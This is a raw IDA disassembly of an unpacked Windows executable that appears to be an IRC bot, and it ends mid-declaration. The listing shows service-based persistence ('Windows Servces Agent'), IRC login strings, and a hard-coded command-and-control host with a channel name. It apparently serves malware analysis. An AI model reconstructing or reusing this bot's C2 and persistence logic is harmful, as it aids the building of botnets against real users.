; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1DBF5856A7D639FD7C64AF8ECCAAEBEC ; File Name : u:\work\1dbf5856a7d639fd7c64af8eccaaebec_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DD000 ( 905216.) ; Section size in file : 000DD000 ( 905216.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401579p ; sub_418359+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsServces ; "Windows Servces Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4CAF28 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41AFE0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4CAF98 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4CAED8 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4CAF50 add edi, 8 cmp edi, offset dword_429068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:00416643p var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41B4D5 mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41B4C2 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41B202 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B11A add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41B0B1 push edi call sub_41B05B add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43DEBC call dword_4CB00C call sub_40B2BF call dword_4CAECC call dword_4CAECC mov ebx, dword_427078 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B590 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_43D128 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2650A62h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2650000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 2640BBCh nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427068 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43D120 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418684 pop ecx mov dword_4CACB0, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CACB4, eax call esi push eax call sub_41B8D8 pop ecx call sub_409B12 push 2 call dword_4CB020 push 7530h push offset aDark ; "Dark" push ebx push ebx nop call near ptr 267009Bh push eax call near ptr 2670000h nop cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4CAEE4 cmp eax, ebx jnz loc_4017E4 cmp byte ptr [ebp-884h], 2 jnz loc_4017DE xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017DE mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2650A62h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2660DE9h push eax nop call near ptr 2650000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41B9D1 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_4293C4 lea eax, [ebp-5F4h] push esi push eax call sub_41B980 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41B900 add esp, 1Ch test eax, eax jnz loc_401516 cmp dword_42908C, ebx mov esi, offset byte_429108 jz short loc_40139C push esi xor edi, edi call sub_41AFE0 sub eax, 4 pop ecx jz short loc_40139C loc_401379: ; CODE XREF: ___:0040139Aj call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41AFE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_401379 loc_40139C: ; CODE XREF: ___:00401369j ; ___:00401377j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_4293BC push eax call sub_41B886 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 2660CE7h nop cmp eax, 0FFFFFFFFh jz short loc_4013DC lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2660C04h loc_4013DC: ; CODE XREF: ___:004013C8j mov esi, dword_427090 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F3: ; CODE XREF: ___:0040142Aj call esi test eax, eax jnz short loc_40142C nop call near ptr 2660882h cmp edi, ebx jnz short loc_40142C cmp eax, 20h jz short loc_40140D cmp eax, 5 jnz short loc_40142C loc_40140D: ; CODE XREF: ___:00401406j push 1 pop edi push 3A98h nop call near ptr 2660000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F3 ; --------------------------------------------------------------------------- loc_40142C: ; CODE XREF: ___:004013F7j ; ___:00401401j ... lea eax, [ebp-1E8h] push eax call sub_418293 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2660C04h push 10h lea eax, [ebp-20h] push ebx push eax call sub_41B590 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41B590 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_43D128 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi nop call near ptr 266080Bh push eax push esi push 100000h nop call near ptr 2660382h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_4293B0 push eax call sub_41B886 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 2640BBCh nop test eax, eax jz short loc_401516 push 0C8h call near ptr 2660000h nop push dword ptr [ebp-20h] mov esi, dword_427068 call esi push dword ptr [ebp-1Ch] call esi call dword_4CAECC push ebx call near ptr 77E75CB5h nop loc_401516: ; CODE XREF: ___:00401358j ; ___:004014ECj cmp dword_4DB294, 2 jle short loc_401562 mov eax, dword_4DB298 push dword ptr [eax+4] call sub_41B779 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2670000h push esi nop call near ptr 26408DCh mov eax, dword_4DB298 cmp [eax+8], ebx jz short loc_401562 push 7D0h call near ptr 2660000h nop mov eax, dword_4DB298 push dword ptr [eax+8] call near ptr 2660263h nop loc_401562: ; CODE XREF: ___:0040151Dj ; ___:00401547j cmp dword_429090, ebx jz short loc_40157F cmp dword_4CB044, ebx jnz short loc_40157F lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157F: ; CODE XREF: ___:00401568j ; ___:00401570j lea eax, [ebp-0A0h] push offset dword_429394 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B0F6 lea eax, [ebp-0A0h] push eax call sub_4151AC push 0B80h push ebx push offset dword_43D130 call sub_41B590 add esp, 24h lea eax, [ebp-0A0h] push offset unk_429370 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B0F6 add esp, 14h mov esi, eax mov edi, dword_42707C lea eax, [ebp-8] push eax push ebx push ebx push offset dword_419A00 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_401622 nop call near ptr 2660882h push eax lea eax, [ebp-0A0h] push offset unk_429330 push eax call sub_41B886 add esp, 0Ch loc_401622: ; CODE XREF: ___:00401605j lea eax, [ebp-0A0h] push eax call sub_4151AC push 2 call sub_40B33E pop ecx test eax, eax pop ecx jnz short loc_4016A7 lea eax, [ebp-0A0h] push offset dword_429304 push eax call sub_41B886 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_4101FC push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz short loc_40169A nop call near ptr 2660882h push eax lea eax, [ebp-0A0h] push offset dword_4292D0 push eax call sub_41B886 add esp, 0Ch loc_40169A: ; CODE XREF: ___:0040167Dj lea eax, [ebp-0A0h] push eax call sub_4151AC pop ecx loc_4016A7: ; CODE XREF: ___:00401639j call sub_41B8E2 push 7Fh and eax, 3 push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC mov dword_4CAE28, eax call sub_41B5F0 mov eax, dword_42906C push 3Fh mov edi, offset dword_4CAD3C push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh mov esi, offset dword_4CAD7C push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword_4CAE10, ebx loc_4016FC: ; CODE XREF: ___:00401784j ; ___:0040178Fj ... mov [ebp-4], ebx loc_4016FF: ; CODE XREF: ___:00401738j push offset dword_4CACB8 mov dword_4CAE24, ebx call sub_4017ED cmp eax, 2 mov [ebp-10h], eax jz loc_4017D9 cmp dword_4CAE24, ebx jz short loc_401726 dec dword ptr [ebp-4] loc_401726: ; CODE XREF: ___:00401721j push 0BB8h nop call near ptr 2660000h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016FF cmp dword ptr [ebp-10h], 2 jz loc_4017D9 cmp [ebp-0Ch], ebx jz short loc_401789 push 7Fh push offset aScorti1_dns2go ; "scorti1.dns2go.com" push offset dword_4CACBC call sub_41B5F0 mov eax, dword_42906C push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41B5F0 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016FC ; --------------------------------------------------------------------------- loc_401789: ; CODE XREF: ___:00401747j cmp byte_4290E4, bl jz loc_4016FC push 7Fh push offset byte_4290E4 push offset dword_4CACBC call sub_41B5F0 mov eax, dword_429070 push 3Fh push offset aFaak_0 ; "#FAAK#" push edi mov dword_4CAE0C, eax call sub_41B5F0 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_41B5F0 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016FC ; --------------------------------------------------------------------------- loc_4017D9: ; CODE XREF: ___:00401715j ; ___:0040173Ej call sub_40B2BF loc_4017DE: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4CAECC loc_4017E4: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017ED proc near ; CODE XREF: ___:0040170Ap ; DATA XREF: sub_401ACD+662Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401812: ; CODE XREF: sub_4017ED+E6j ; sub_4017ED+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4CAF74 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AAF9 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40193F push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 push 0 lea eax, [ebp+var_2C] push dword_4290A0 push dword_42909C push eax call sub_40B08D mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43DEC8 push edi push eax call sub_41B5F0 add esp, 28h push 6 push 1 push 2 call dword_4CAFF4 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43DEBC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jnz short loc_4018D8 push esi call dword_4CB00C call sub_40AB22 push 7D0h loc_4018CD: ; CODE XREF: sub_4017ED+146j nop call near ptr 2660000h jmp loc_401812 ; --------------------------------------------------------------------------- loc_4018D8: ; CODE XREF: sub_4017ED+CDj lea eax, [ebp+var_18C] push eax push offset unk_4293CC call sub_415220 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401955 add esp, 28h mov edi, eax push esi call dword_4CB00C test edi, edi jz loc_401812 cmp edi, 1 jnz short loc_401935 push 0DBBA0h jmp short loc_4018CD ; --------------------------------------------------------------------------- loc_401935: ; CODE XREF: sub_4017ED+13Fj cmp edi, 2 jz short loc_401943 jmp loc_401812 ; --------------------------------------------------------------------------- loc_40193F: ; CODE XREF: sub_4017ED+5Aj xor eax, eax jmp short loc_40194F ; --------------------------------------------------------------------------- loc_401943: ; CODE XREF: sub_4017ED+14Bj push [ebp+var_34] call sub_40B412 pop ecx push 2 pop eax loc_40194F: ; CODE XREF: sub_4017ED+154j pop edi pop esi leave retn 4 sub_4017ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401955 proc near ; CODE XREF: sub_4017ED+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BB20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401973: ; CODE XREF: sub_401955+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401973 cmp byte_4CAE20, bl jz short loc_40199A push offset byte_4CAE20 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409A2C add esp, 0Ch loc_40199A: ; CODE XREF: sub_401955+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_401A04 push [ebp+arg_0] call dword_4CB00C push 1388h nop call near ptr 2660000h loc_4019FD: ; CODE XREF: sub_401955+D9j ; sub_401955+153j xor eax, eax loc_4019FF: ; CODE XREF: sub_401955+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401A04: ; CODE XREF: sub_401955+92j ; sub_401955+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4CAF8C test eax, eax jle short loc_4019FD lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417F7F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401A04 lea edi, [ebp+var_A90] loc_401A55: ; CODE XREF: sub_401955+165j push 1 pop esi loc_401A58: ; CODE XREF: sub_401955+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401ACD add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A9B push 7D0h nop call near ptr 2660000h jmp short loc_401A58 ; --------------------------------------------------------------------------- loc_401A9B: ; CODE XREF: sub_401955+137j cmp esi, 0FFFFFFFDh jz short loc_401AC5 cmp esi, 0FFFFFFFEh jz short loc_401AC1 cmp esi, 0FFFFFFFFh jz loc_4019FD inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A55 jmp loc_401A04 ; --------------------------------------------------------------------------- loc_401AC1: ; CODE XREF: sub_401955+14Ej push 1 jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401AC5: ; CODE XREF: sub_401955+149j push 2 loc_401AC7: ; CODE XREF: sub_401955+16Ej pop eax jmp loc_4019FF sub_401955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACD proc near ; CODE XREF: sub_401955+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C 